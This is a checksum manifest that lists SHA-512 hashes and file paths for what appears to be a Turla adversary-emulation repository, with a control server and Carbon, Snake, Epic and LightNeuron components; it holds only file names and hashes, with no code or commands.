+cac874e7ca233b08ad059e58585f54719b38bd0909694df3e21b3a689d64dd74bc4038782d1a370559f73a1f150adcedc206ca42db64fe6c5b6683be9bf86a28 ./Resources/control_server/handlers/snake/snake_http_test.go +64d33ead6c213f483525cb65655073964275cc5beb730e7e139de19d9bfee8c6511904afb9302f3e8fc05006a1d19597ba3584958aa85bd40444c78e1e57e178 ./Resources/control_server/handlers/snake/decrypt_logs.py +102fe5b6572516fbbebd98d125cd2b279878f73c74c4652df393a1c90ab6bb65b45e90198b06ac5970eb9a70431df8c8652d20f96f3ac4fce4bf0785c842b879 ./Resources/control_server/handlers/HandlerCreationGuide.md +02fa9b835cea89d4a1a5b4d809453c166f87c0823ccdc884fd6403227fe78c52b425abd8907144dea86391da0e6263dd6e8f81954eb598348b34de3bec343662 ./Resources/control_server/handlers/util/util_test.go +9c6e8e6cc47d6836a1439cc04c7a56ceffc106d91db6eb4b8b7f4fe81cb3a1d6593707556aaec02913a85cb48baf6de355dd9dff7dc5ac4f562a2f63d8b25b96 ./Resources/control_server/handlers/util/util.go +6561d3233d298fc025ebce4cf7802accb66b6b57ec279c55cf303016ef1c7bff6964a128b6b5717d57877b32b87da1ead742fe8a08cabeb5b9e05041554fb74a ./Resources/control_server/handlers/lightneuron/snake_extract.jpg +70a456b2ea41864f9371bf6b696b04271c146644587e82d4842b7e6b70621df885cce93470e5c148d310defb419e46f9c0bb31c6e7b186b9c53cef00cd01b0cb ./Resources/control_server/handlers/lightneuron/README.md +b1aaa92ccb920e6e26114997ec4608001671c0d9ea9647e872508a30320636b8ef5ec0c017f5a995ed6bc8d049307bab43e7e3e6b7c8ad3ba5f49521cd290f8c ./Resources/control_server/handlers/lightneuron/lightneuron.go +3840e053e16d01d77142edf0ae7e58a616edb5249a904404d22bc7181d5cf8c0c60f432f4725d0ee9fd8aae83d90b97ef2c4e29b5fcb3f9ff6bb1a4790848aee ./Resources/control_server/handlers/lightneuron/snake.jpg +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/control_server/handlers/lightneuron/extract/.gitkeep +3b59b51bdef57a7841d56f9e607ba1761a225e44f46976f2a34e13ed338256b318fea48b33bcf7aea09b35d326a02f6b644cc680af5481fa07776124cb67202d ./Resources/control_server/handlers/lightneuron/lightneuron_test.go +c8ca8d48b2ced4cd62bf35f28034205a99121c472718d1b81e75d65ae37c0d1c0cba7158f485198b07905db97e2171f852f860d704dca8673ca76f3846cde79d ./Resources/control_server/handlers/lightneuron/recipients.txt +e646a149f38ea37c39e1d6311e37e6f039d6657765e74d97261917addb97aee4a91c2b92a8dc33879686e1070787d0bba79c3cd00db923ab89abf9e277071d24 ./Resources/control_server/handlers/lightneuron/snake_modified.jpg +ed5f272b740dc7cfcb61fa6299ed01b65c176463da6b425af5068ccd81093dbd144fc4d0fa1cf43d75c72c2d176d9b13663705fbb32b87838df0a66212f82713 ./Resources/control_server/handlers/handlers_test.go +6b8520ea6e2a4d31e2d791f457c55f17bd132811df734f7ed10413929ff1530bccdda9d9a0ff5ec9bdf2d4e268e7dcdd1d90a65dc39b971516b12c45576b7a76 ./Resources/control_server/handlers/epic/README.md +954375a8836d4e5f9f95c8261d23b2a0dc3f64b4744b44d4a771f3d4c1f41b626eced1f7ddd7e8b69f8dd6f7657b23cd36b01a7f51beb21fcc928845db2a7ccb ./Resources/control_server/handlers/epic/epic.go +8b515d26dd0d59b7f964edd25c1da67def4e2fea62b52d84580500f3543571a0251a67a1a5991e380f7920402f578eebb514024cec56ed90d8492ed1c87aa0c9 ./Resources/control_server/handlers/epic/templates/home.html +d48b97b26d1f9d2555c2f3f3c8d2f90dfad228597ca3c89660a6a4072e047610a810d181a568c67857afa90b02b6fd2bb70a12337361b7866395fe5bc1f79dea ./Resources/control_server/handlers/epic/data_transform_test.go +e925aedd8501fa4f341f00429f66b13c454ce25d95e2c65fc2a8b7d35f45d28cc805358a0e01e37faea1f2c14d59eab8ae9e211e762acbef0fed6e7735c00d6d ./Resources/control_server/handlers/epic/data_transform.go +dec25fd5858cbee7ef15016299723ab5b995bed5838477d9a18b9eba7cd45c0479068f5765d04ec44c3bceaf7e485d5c09a77a6108cdef8b59b5588eab7555e3 ./Resources/control_server/handlers/epic/command_buffer_test.go +1ede7e1a4cee84de31b7fccee74bfab7efb2db488205280ed88c58602bc7c1a22a27fe505fdc3cdce3a019ed45738623c049b523447c018fc3e1a1b010574f95 ./Resources/control_server/handlers/epic/epic_test.go +f10ee93e57b8dd23f18ddf8d4950b848ad6e18fdb925701d6802e5df96609cefacea13798c97ae5a634372c9faf8bf95f238f646f01e3567ca6b7fc22ba97670 ./Resources/control_server/handlers/epic/command_buffer.go +0eb71de69495aa385ceecca3eb7bd0e5efddcc7f3e03ce2a1ced979c7333275b65e6f37d169872fb343e95d4264c33fe8b90c7c880c50070567605753c227472 ./Resources/control_server/handlers/carbon/README.md +58f194d140752aa335ed579f3cb58de151ab959a743a8e2d0498f0459f4c6e5dac45904b77c31d4ef845689150f7e6789319be3ecbcb9bbe195415e0104c047c ./Resources/control_server/handlers/carbon/carbon_http.go +cf58250a68bf14bd5dd5788bf24fdb9bc50be1d286bc5347953b9f1dadbd96cbd579e5623a58157bd4dac1d3d21cb28c725693be22e595367e95c381f8dd735b ./Resources/control_server/handlers/carbon/carbon_crypto.go +80b4d2f1906a37d5ee04ec6041f5a3157dd55bef4ec25b4099ccf56759a01681dd55f2ed502b2554a8a40d05c51d72e13c1d9130e30f56206591e48610ca9474 ./Resources/control_server/handlers/carbon/carbon_http_test.go +d64c6da8ba50fdd819adea768174ed72c7c8cb48cb124fe33eb2d5141bc3d950229d343edc04093fcd7e5704ce1f8755f5c2a6018fa1017d287191e54acbe956 ./Resources/control_server/handlers/carbon/carbon_crypto_test.go +d2112da301ffb290ec2aa566afc90cebc581928c55f202e7a16e0f0429fcc40367bb1c1516e9cd24b69700f4845abfd25140918798d34e1ddc7d966b4bd796b4 ./Resources/control_server/restapi/util/restapi_util.go +b91d086891c480033a1202eb9afc04dd40cc7dcc4176a0f70e17632d4871ea89435f5d931afbb32065ac01df9aefeeffe952d9a0a71493a8ebeee6f9c22283d0 ./Resources/control_server/restapi/restapi.go +6386ddc8f16f762d405c857d378eb8365c706aa04593df04336cf04c01b641c21131312a07b1bb7af0130d73cb39dcfb69a572cdffd3a8277913488c00945556 ./Resources/control_server/restapi/restapi_test.go +5fdf2482f64eba28d97ab317a1f09c3f53264371210da7953ef39c7e846a939991fc6df27e3bdcacc70989e89bb6785f59af2babe2df528addd4d1eb8c9e2116 ./Resources/control_server/Makefile +5e664de2fb7094b189ef90b55a66a99231d01b628e399246d71e66c454c4f5692aad94433f253f2d6a66c138b9c78220b9ff83dba6b73c5fec7a284bd36d62db ./Resources/control_server/test_utils/test_utils.go +1fd7a5f72664d1e6b3fe7db1363b3a18c50121a5826ab6513ce3cfa7768a910170ad56af98297f8cf6023cad1058f27f031cd934713022028387947c2876bcb4 ./Resources/control_server/evalsC2client.py +dd0018a99cc8b3bd08f215486f727dd6c1a37982f3b2232c5f689ed21d4d70bf7008295a5f76b1d74c40a22daca18069eafd4b5fc37603a96955b848534ad8e0 ./Resources/control_server/go.sum +f6f9d15efe702ac18eb30e986f9a3ea57373bc5dc51e40790377f805f5f925876ed302b1ea4a70e1b45cd57a7cd3d8bd631b6d8404310168a74b1fe4657ece72 ./Resources/control_server/tasks/tasks.go +1cadeb833d18c8c9ca0129a08a671ad158d9dc6f0f822ce75b2d7ca0eb7cef8e7ad921ebe117585b6eb41b57e4a16c431b869280c82d0e38a34ae239e2f3c75e ./Resources/control_server/tasks/tasks_test.go +24f950aac7b9ea9b3cb728228a0c82b67c39e96b4b344798870d5daee93e3ae5931baae8c7cacfea4b629452c38026a81d138bc7aad1af3ef7bfd5ec646d6c28 ./Resources/control_server/test_payloads/snake/test_payload +60a465eba9bfb7d994df79a1ce6a4e7dd15cbbb68b2435ecd6cc38985d8cf3c302abfc63f9c551cdb2fe00ad14f644e2f8b43812002e25cc90e3bb7c810feb3e ./Resources/control_server/test_payloads/hello_world.elf +60a465eba9bfb7d994df79a1ce6a4e7dd15cbbb68b2435ecd6cc38985d8cf3c302abfc63f9c551cdb2fe00ad14f644e2f8b43812002e25cc90e3bb7c810feb3e ./Resources/control_server/test_payloads/epic/hello_world.elf +34caaa3f1d9364dd7b392d0e044b001de3bba55f37c9f82b0d19854647741b9eb70a5f17e6ad83759a6c80539bff056d5e6077eec92ad707dfb64cc41c40a319 ./Resources/control_server/test_payloads/carbon/examplepayload.txt +d0add4fa08d5e75dead67e0a7137bf26720d295130fc3a7f71c8c9fa74db7f6356ea3934bd595af878048b15bd499117ead0bbafd3ce97c40540ce93021522af ./Resources/control_server/main.go +c72175958de9c73c602b40f6bdcf0ef19df613ca66ba0e1ce3780b32dad0fb279f0adfe3f9af2c73ee0bcfc3b33d6e5afdebee44874b8b93a9fa2e050e3ed37a ./Resources/control_server/config/turla_day1.yml +bdd97b973a4ab6d5db672c9c7e73349f69b2d486645f809d939818606f81e63e5ae26b6bfae75c90c9b6335bb19d21e38af5b5a5c296f78d8dd2a6cece3f905a ./Resources/control_server/config/restAPI_config.yml +088739cae451a33d6a92cde483240b552d43323bb76c015e2e4645857580b1f5bde703f614afef53a39111e545fa4ebfc2394a63b005156596866ffcac2bad11 ./Resources/control_server/config/config.go +0d4212526554da886c367e54898a4d25d3829f89f2fa825fb7a3f7d02d446cc4d92b3e26b9d7a65e7322132d4ba61481e0468ee6257ef4bf0e83aaff77150314 ./Resources/control_server/config/test_config.yml +cec1c58c3e34f28229aad5c868b320539ae80dbf1cc8bc13fd5a76e345ee56e4c97f9ee6fa17dfe29621845d6ba13198ad3f3c2cea7ce1625ce3ad1752097794 ./Resources/control_server/config/turla_day2.yml +1400403d9720b1064e0b3c61a57fbe0727972bea1135858800c77f90dc56ac798d81ad3afb1a76def532742fae94cfce7515ddf26a41d82dd85496a52886039f ./Resources/control_server/config/config_test.go +209448a1d41d4d73059fbc46eee167585f35f867d9ab691310ba1d292a58aaf166df3daeb66bcf7040d2670326680dfe9b6acd6e4dcf4385a67dc436a7008003 ./Resources/control_server/config/handler_config.yml +1bed2eefa62b5597ee5874f0db0bc1bfac03244df20390ee075e7ef88df17438c23eef8c3496555ff895bad7a1dfc21018b038985af72bc1ba46ccd21b18e8ed ./Resources/control_server/go.mod +16424a48b7af34395b7561b780b578a7777d639653d36800d264159d6190523e6de19d2203671c92e5957b8d4de2cc69f4694735f434a708bb97923626ef03fd ./Resources/control_server/logger/logger.go +c379cd9bb8988ae030c9c5f65d5e49ce74a711e8c71f7f9a96c75817c4e21f8f18ca09e9a32d66375896ffff3162c2358406a9d5d1ef3eff0fac60e3f70895db ./Resources/control_server/logger/logger_test.go +dc6b68d13b8cf959644b935f1192b02c71aa7a5cf653bd43b4480fa89eec8d4d3f16a2278ec8c3b40ab1fdb233b3173a78fd83590d6f739e0c9e8ff56c282557 ./Resources/control_server/LICENSE +71e42341950320ffc841f1cb34db6f20932bfd338152423454eb6022f9e74db393044fb7421b77466c270ba453bb0a8e2071bafd70fb7cf739d9c7aafcec3770 ./Resources/control_server/sslcerts/sslcerts.go +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/payloads/.gitkeep +d98ea392a701957979403714d462379a0a716a2b634a7807bdc3daafec85fcde80a92272eae94de64ad8b22f1ecc96d6216bd531534ea9420e0c01d132b93bbd ./Resources/Carbon/README.md +2171e17f45e16651f1459a503d10925f55b6962ca5b0a190555b9a351fe9cece31a82f5d6627d014bbbda249c59c80103ce36c86332f77097cf57cc40e733621 ./Resources/Carbon/Orchestrator/README.md +4b165d5b980ca369f155cfef0e29c15128d9208fcb0d09367757660748146585817438dc0b53cbcd6a25d54003faa54ddfa6cbae0764b779454f5fad7fafb676 ./Resources/Carbon/Orchestrator/.gitignore +eda083330bf8eef5a9cdeae47a02c944c8acc1adc6f4b76194770091377b1b460d0edab3dcd04904f92477d452788c5a0a10be8d801fa6ca0041a3d29923ae26 ./Resources/Carbon/Orchestrator/CMakeLists.txt +9c438ff7dea5e824c3ca754e1ad432b15b518fb5e5970973ea50fe56dd4e46b86a76525bba62470f11e60779d387c2d5e359dbb9efeffab50634f4b153326abe ./Resources/Carbon/Orchestrator/src/tasking.cpp +2838e2f2de783c6281115f2bd727246ca6004d26e7fda4e1d273279670c4327627c8a5287228fce024b24c28bf83f66419989d5f6b942c863526e579a03eb2dc ./Resources/Carbon/Orchestrator/src/enc_handler.cpp +1b1e01e96a78b6815c4e3d91aeeb252d64d71949f043b6819f32f89fd2dc618fa63058c8543b27c8c0c91c979b703b8eab7efc6b62ba77b855f7155107a7d20f ./Resources/Carbon/Orchestrator/src/mutex.cpp +ac8a102f6925a78eac02c25783fe06678284df02c0c5921613ed8c6ab508ae9892721af9d18d7ff77701e66c57222107a9378bce9c5c6453d4c03fdf5ba9f83d ./Resources/Carbon/Orchestrator/src/CMakeLists.txt +7b0ca89c5f16d407a036154e89d7ef0a9cff72ad1f1128e51b2748adc993fa0426c860b0a4c79003f98a87d82ea8307ddac77d5cd70620d659e6e7866e86d795 ./Resources/Carbon/Orchestrator/src/orchestrator.cpp +ab7b3dca85bc03ddb1fd1a95d1d69cc68971be594a015eb8533d51d62648179078c5136a7634d5844f5902d750e123ae5c1b975ae7dfd2cf4ae9a5a42a7b77da ./Resources/Carbon/Orchestrator/src/locker.cpp +eeb02307b7250d43ac87a3256790bc7e72c2c3e9bb247264b4a2f191affd29fe278584b711cdd10f1bc67bc1a5ea5db344c4caf47a986c6d927990d92cf313c8 ./Resources/Carbon/Orchestrator/src/util.cpp +9fa72c67d175e7f560398f0104a73a9ae5c8afd0e372d5243988cb79c237969f2fb1576415f146e3ba15f7706a4399d847195d93e55ba84d352e7bec46c97ba6 ./Resources/Carbon/Orchestrator/src/main.cpp +9b0a60175e864a4bc09571c6002faf32fc0f3343e47a6cde5049d413b580201d85dc2f779d11886ac649e53dffec9c9c451ee338af13731ef7f099666b58371c ./Resources/Carbon/Orchestrator/src/injection.cpp +6994161be39a83f02f16b0611012163b4c255846addbb3c34d29475ede3d31dca911439c634c42cf17c1f665a7b3842b242ea1b583544d2181c9be3a79174437 ./Resources/Carbon/Orchestrator/test/testdllrunner.cpp +b72a90256b516996882bd48f7523545b8caa16130be48ff08c5bd91c29acffcc18fa252e152135565a106bc9b80a967b79424c20c9e4073d2c48002ba3b84b04 ./Resources/Carbon/Orchestrator/test/config_encrypt.cpp +663317bbbd135b2872d8a1855ae64d4f522783ecb49f51d03b23c0d8a8192ee65e7e5b90d2a7d01e477ec4366b3789a5caa95ef319b7486b79415827955cedfe ./Resources/Carbon/Orchestrator/test/dllspawnnp.cpp +fbbbf5bbe45e94d1be102843175280852e8a9e712ed07c0454963d8b9a5fef7eac54020a65e198227405a52d0ca4915191cdfbf37f752b30bfcf7adde328b3b0 ./Resources/Carbon/Orchestrator/test/castDecrypt.cpp +4353f72dda63bf81218ad677527bdc9b690e9acd2461f92c7f8cdd1c39bd2b672203ca4b6ba8aabbb4eef3b1189422bb21243dfa52abdf4fec4365cff898a832 ./Resources/Carbon/Orchestrator/OrchestratorVersion.h.in +e6ca8b2b313c9c1a7ca904edf4dcf3d1a656ee8d650df163353ed8998e8dddb3cf1e53ccb68cf83fba988092fce563bcdff9aa03adb5e77ebaf72474825da8b9 ./Resources/Carbon/Orchestrator/output-itest.ps1 +4b48a35349642ac45af2296621e7c6eee744bf57e709c12b2b88030195e457dcea8d284e76f79dadb13336f56c8046ebfb22c46bdf9ab646bdb229aa8e269897 ./Resources/Carbon/Orchestrator/build.ps1 +ba228267751cd585cd533d9081f95bd0fd4f73b31e33f6cc10ba72c3c6eb6d715496e5640fa387fc2a95b7c10888f72a5ac1bef6feb322ed65d4191e25581245 ./Resources/Carbon/Orchestrator/include/enc_handler.h +36234e47800d894bb75f9d9f04c1565c53206c992a60e235d8f0be4d4db09b78eccefcb98e5c32312cec32d994d011d5032f6135f84ae5bbb41950bf305de93c ./Resources/Carbon/Orchestrator/include/config_encrypt.h +15c99b428013c27ac8c5c710d01f9b9bbd09c09b2ccd60f7d781c4a4a7e36580f9c3bc36e25bbccce03c99239ea91c0e8e678843abd6142197b9439c503866b8 ./Resources/Carbon/Orchestrator/include/util.h +a4241492ea2835aad07eef3fcc38713fd52c478c77ba46c5329ac899cbc07c49b065944b212165761686fae417dff7cf71e2203a4d0a3fe2467f8ee979330612 ./Resources/Carbon/Orchestrator/include/mutex.h +fad1cfbf14aea181b0e7205cd49e2d7de5a0a2b337e955ee830695e26579090ab829aeed577ff52303463a68f867e95b8198950d6fdff89144e95cde4ce95a1e ./Resources/Carbon/Orchestrator/include/tasking.h +0497d1ccd52caa51c8d0876c06a3cacd1eadc2db5c879303b5cb3b5874f84d66d5fa4fdef305879b2da08674b2e6dfbdd1b5acc6f9eb0c8d90552123c4c18570 ./Resources/Carbon/Orchestrator/include/orchestrator.h +2a6ae51e5d902aded99b5f7786d45ae38577f7b8f8bee630bbc7cb8e304a4970cf87b5b4d83ed1c941509354070a04dd14377d054d54f06156cf15e9376c0c73 ./Resources/Carbon/Orchestrator/include/injection.h +3d2f490aa2fb8b11963e2291dc31ca0c668e4489cba884d582f3a4a226e374576faccd43f12e7038aabff694277cfd0941f899fcd774550b3b2dd476e98ddcd1 ./Resources/Carbon/Orchestrator/include/locker.h +f8657175e746bf79fbdb26026bd09fde205639095c58a7f7f69bd4fc94e3ff931eb9b6800cd947f3816b9014078386500a4165b5e511a86c80a49c119837dcaa ./Resources/Carbon/Orchestrator/bin/configPlainText.xml +bdb94d718936cab2fa7a8a202207d0a98dae238862fbeb3ad6e800502d16086caa8af8d649e4a7dbd54dc1adb9b73265ae2f16feabb9f3ae3d4bdc459b6406bc ./Resources/Carbon/Orchestrator/bin/setuplst.xml +5147681c21c63713da540a12b309210a01f09f580dedc6eeaacc92f247fc4318c61a6c4edcedebe793cb8d16a802b8c27456ea8a088d021993a746ee38852cf8 ./Resources/Carbon/CarbonInstaller/README.md +c249ca241574aa0e1f572b35b5ef0c1d23bbaea9b5143f74ec0d7d6a51f988f65b13697feaba63a46687e758ff4c2d1b07751e488c1dc945578c147819097828 ./Resources/Carbon/CarbonInstaller/.gitignore +2bd5d5643516b134b86532f3ab44fdadac3793b110a4a3f437fe3ef722ae9060c1ed98fbcc6a826d4137fb6ec13e22a33f6bb72bedffa11d22af8433f438f276 ./Resources/Carbon/CarbonInstaller/Loader/CMakeLists.txt +69f3f7177a753725d9590965b96944e7e547577285713d29a58d8e73dd61b92e73997cb11287f5f611cdc53fc26ad28846179fc466028e8df9b57868ba4a2a3c ./Resources/Carbon/CarbonInstaller/Loader/tests/service_test.cpp +e2320f808a5d2f1e85bb6a42963444f8e71cd160b23577582dabecfc066a368f54a37b9690669b205b509b12dceb673e475f221067f86ada1c5019c7edea44b4 ./Resources/Carbon/CarbonInstaller/Loader/src/service.cpp +f520c41ac3693086df0777c0a7f5ad451e8b000bc431977bf710e538cbebcd8186e641fdfbf8e1c5e40c97d371f6c887a6c9b1d090463414a34bc999d1c3ce74 ./Resources/Carbon/CarbonInstaller/Loader/src/CMakeLists.txt +2ec10ea2499e7647180b0c36504e8b47418382579dd567f631caa8e7d58bbb669108d4d2e4db177b9c5de7c25540ae8e1602a115b1487ed221c427d3cbc8ebf3 ./Resources/Carbon/CarbonInstaller/Loader/include/service.h +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Carbon/CarbonInstaller/Loader/bin/.gitkeep +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Carbon/CarbonInstaller/DummyOrchestrator/bin/.gitkeep +eb4410fe4ecd61951400cf94b6908c95cf5b2b9f1aef1e0b0a189b7a38f73cfcc0a6dfb64f7e9a82ef37c5d3ea84d2f193c0609f9fb28b9c900bc6bbe36ac806 ./Resources/Carbon/CarbonInstaller/Dropper/.gitignore +57d1b9ae30e7781ad3636af8d4e84d38fb158edf256dfc17f4d8e2a16e862bcd17226543effba9c541f5e1cef783d96fb3b397af6daf95fec1faafae75352180 ./Resources/Carbon/CarbonInstaller/Dropper/add_resources.py +d281c99c4b3d04d09b9f4acca75cf5ffbac36fcbbfb6437fb2a08897093656da9e4f904b2d702c86faf79c422ccaeca2ef1d37c82a7da4aecd9036c970e9f6f1 ./Resources/Carbon/CarbonInstaller/Dropper/CMakeLists.txt +ea863b3db3df24a3fb8fad3b31c13b208ec2a8107b018f879d8b14bb8e41edca6472c2278b6173dff33106306b96a703bc1de76c74fe99c1659177bcc45cfd8a ./Resources/Carbon/CarbonInstaller/Dropper/tests/file_handler_test.cpp +bf876b7026c5ed36848ef0f2063d2afffd6d36d1468d4460ce2cca22bbc9d68ce6737f41b27a5c9c866ff893c87a8b4a0524be92e2a42c1cf96f18aa68d82683 ./Resources/Carbon/CarbonInstaller/Dropper/tests/service_handler_test.cpp +0d5964aed2a012b934dc35f045148424f4a3b64ffcd6a5b29b7da56f5c699f084fe02b14a75e244de09a4bfbeb179961ee150c6636b204b8c2bfe17036d82801 ./Resources/Carbon/CarbonInstaller/Dropper/tests/dummy_components.cpp +243b47ffd03c2622f4162a5645e138f0ec5760c3b1098d8b0d79cd154e6c1c638f3d71dc1e730f03ab1e9b87f7342288daaf8d8e1623a8569ba78bc3f798c7ee ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w2_config +12505220cbb2ded08e21f62d93fdd5b505e068aa2a7e8e847709cdccd2c28f060a5c6849a9fbb930193b89762d4576ff62d865af223bc951ebe68101e340bfd1 ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_w1_config +302373052d728d46afe0c28951329364e38a35cbac2a2fc5992ad24657339a79cee81a4e63e19f1fd6b995904c81c8c31884faa2712a71c5a5698d6fd215b66b ./Resources/Carbon/CarbonInstaller/Dropper/resources/kali1_config +adc7dea9420e1af325edfdfb04c50312ae3a186c5c92282f133c38d7b04278d5159d2f3475a67dee6d187df3a08f52275325f4f3c40ba2ad0a262ee18c4b51c3 ./Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_comms +075644cea723a002a0643751c8940e5292bb15c86ff573896b69e30048c8067d5a3253c5fcad6872d14d49f4dcccb23dfe5b4ae5cca227791f3bd636820cb9ab ./Resources/Carbon/CarbonInstaller/Dropper/resources/carbon_dc_config +7e12dab5d0571e8c1690f992b43388d570d8b41d18075bcb41b6cfd7be191f3d590eab768d17a6e754512ac4d7a4a7bf217f4da9fdb6e16d0ce656fe2f2f04a1 ./Resources/Carbon/CarbonInstaller/Dropper/resources/dummy_orch +a19f9d9fbd60e45bf2ae8ba0e9246e074d5aa74b7213906a0b6bc1d7926d593a1e5cbc89a572aa5455287918f83750e46b8685364948cf314189ad8f1aeb2c24 ./Resources/Carbon/CarbonInstaller/Dropper/src/CMakeLists.txt +17118834dfa976506d9f688369ee0b7936dba45aa8955bc715d677e661a1f3eabb659d888fc3d016b6a230f1d0b942f4d597d157996557d16475ae72f989736a ./Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp +e5e61fcae2d123b3839043c42cd528d74bd94a1550595d81081137c323a6001761630e7b4459ae358b1496bff3b12893e8686de8d1dd22b9827fcabb22397045 ./Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp +7ac0f2eee86e6c324cf57d33ad984d56000c15e8a594d81ca062b5b24e5c3f29f08b6110ce059d72d0b54738170200a3d6b2c78da53741f7e58a25e64cdc3177 ./Resources/Carbon/CarbonInstaller/Dropper/src/main.cpp +be9e2576c1a889b5307dc0f187ef530808a3995aa5094f5d5f9336608136920f481165875556477d8e0a766321b907b59b9d429696ef8e97faa79d3758022c8b ./Resources/Carbon/CarbonInstaller/Dropper/include/file_handler.h +d91482e0c0934e7c154ac4e1a24cdbaee9fd849ca3d8a235958afcebb6d032a22466c0c4ca9d80898c6ac18a827c17b37e0ae95439b46d6b107d2cb68fc9bc01 ./Resources/Carbon/CarbonInstaller/Dropper/include/service_handler.h +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Carbon/CarbonInstaller/Dropper/bin/.gitkeep +056ec8f7003d4da64f1c3319acd8b2cf162d0036988dc5ffb069270ec54a8abda33c00181dd265adb807daf7e53c8e140650070865f52a326723561125851d66 ./Resources/Carbon/CommLib/vcpkg.json +4809664a0669472a87f8c6efa1e7a65efab5f92d7398c35208c706a2e012e3a82d3dc70d1bdd89a3f9d451645c86f6b94bbdbac503d28d5326b4c65d8df09286 ./Resources/Carbon/CommLib/README.md +4f1336f26b05cea0fa26e5485ec9c8e17b9e684e5c16659ce987755fd8cc7b53e9e6f3ce4712544267049c7ca991f910bba5fa891f478f955e90b8963d341d13 ./Resources/Carbon/CommLib/.gitignore +936dd0e0d112d2ea3030e0ed5d2eaf2f1618ff3e78cc6c6e5d4b4c19e6310c8d123bbff5488503128f95e58e68f7a8795432871fe918fdaf0a2592e65f11ab12 ./Resources/Carbon/CommLib/CMakeLists.txt +5df13e125463e8d175edb14f5a461a2c8bb9eceedeec5b341087988f4bd68b963a59325b6650ae6b7c3319a5f426b0ed9ab55a4ab7b6da59a676144dccc9606a ./Resources/Carbon/CommLib/decrypt_logs.py +a0f56a1b178b89937600a2002848ad07af162295dd3d911bb84eb214c3cd148a110e00c37c92ef11b3cdb5b0924082cb39eff1c6ffdaa35e6ddb5037c0905747 ./Resources/Carbon/CommLib/src/NamedPipeP2p.cpp +87e2cb5b06469200cb11ba8ee3b5591a31fc0446124e0e78f2300068aad2596cc9c6b267bd011da918c3b8501ed5fa17b62d6e5daffac7c603ce38e911600af5 ./Resources/Carbon/CommLib/src/dllmain.cpp +21f558c855997a1f73c1ab6a5d00a5ebd883dd0ced681bc294444c2397afddf944a4239ec105b94a1ba4ee65ff0078139320cb466c1b3d51d023ac492adce758 ./Resources/Carbon/CommLib/src/WindowsWrappers.cpp +3e5ce5626d6402b9be6e356ceee6e494bbf7f4f4009c52313136b0e6a4309de964b456a3c0858d9e6f8eef59f8aed0ea47a97be93d2841b55a92f78349633325 ./Resources/Carbon/CommLib/src/Util.cpp +4d93f912a86e79a0c42adb484abc28827f99ac361d279a60fa1791114a39f0fdd8f4b571d8ab3f40a6e9fd737b0e66202aff0ecd0cea484c132018437f2fda01 ./Resources/Carbon/CommLib/src/CommLib.cpp +d4642e7dd2f4f2d4947a4c755af89090493cb47e4139641a37676913a3e1ce0324f9acec7389d67b251c3daf36d74eab21bfb518be17ace3bc650d66c0493193 ./Resources/Carbon/CommLib/src/CMakeLists.txt +fdccb8c7e3afdbf3d53093a9df1941b7e5fabc9ef1874bd7f8b8f74b58004dfa9aaa6950750516119adb60e7be4f7462d126ca913afbbecafee60ddb4287e426 ./Resources/Carbon/CommLib/src/Locker.cpp +cd0ab1249a080b78bd6b167b540692a1a1fbfe400ef48ff7287d39f9fc5575c778ed3153da09918cd4228a4c01d8d018118ded092b4e7442cee058fb5af2538d ./Resources/Carbon/CommLib/src/Logging.cpp +2fe423693572f7a6d7b69b79603cadf17d0c34355582fea655c69337e5d76451395504304ba49b8b76e7a4e4a71c9c51bcee75cd2d3e79166b4c619dda09e509 ./Resources/Carbon/CommLib/src/EncUtils.cpp +d8a0333b37a31ceb53009d8c2c514c00eea561a5e319523375b5fed2705e0eb33a130bcb005948ae07aee004ddaa0c5d3360246d84050c002be4c8445bfcb028 ./Resources/Carbon/CommLib/src/Tasks.cpp +60e956724143b162f5bb6b8489456ab5290b991144ebc88da271508f547d31dac2e7cd9aa2c605ce753e4a3f80c2e22c4321b0cc05712aa67bbc7dda055a5987 ./Resources/Carbon/CommLib/src/configFileUtils.cpp +1dd229843ca71d6533f530efe7e19be90e165814b0ac1c752a4f81e10ad72ec62aff02bed09470f86e8c489a6953d2e254543bf49e2a1a31c411a51030c97122 ./Resources/Carbon/CommLib/src/HttpClient.cpp +302373052d728d46afe0c28951329364e38a35cbac2a2fc5992ad24657339a79cee81a4e63e19f1fd6b995904c81c8c31884faa2712a71c5a5698d6fd215b66b ./Resources/Carbon/CommLib/test/dummyConfigFile.txt +8b4c91d297c8281f3aac07d45721bddb4e024e6bda57c6aa5d8003199852bfbc9d64de47c362d94b3b40d503568b8bc17bc0efb7f7fcd54fee18af049ec4436b ./Resources/Carbon/CommLib/test/logging_test.cpp +352b77929b9dfbee5933fdb33d107b9dfe98865fe7b51c35feed6a7a85fed7df3178f0f70440a13f135b5b6fb1f63636c3bc2f4ef168fec722d2827edd52f33c ./Resources/Carbon/CommLib/test/testingUtils.cpp +064ea79ec4ead6b6b308886d5d57f3aec298b593c69df8d2bb462b6de1e6b67ad74a06cea9688542269049771f6a8c7076e8888332df673e2aaab8888c854bfc ./Resources/Carbon/CommLib/test/commlib_test.cc +29ba6c5b5aee2cff3ee15cfdebd87ffbc20ec4672035a60536c0d2ade90a498498e8a2b181bd33a610ee6f81662a72d63dec7d82ec2004fab6b4cd0dcb9f1ff4 ./Resources/Carbon/CommLib/test/testing.h +1846aab3a9c03ecf375d4978199fbbea85968e93b32e18a4382650c0bf86309cb11852020cab147ffefa573ab24dc10487a4ecb5bf6e710b881c49d89788466f ./Resources/Carbon/CommLib/test/tasks_test.cc 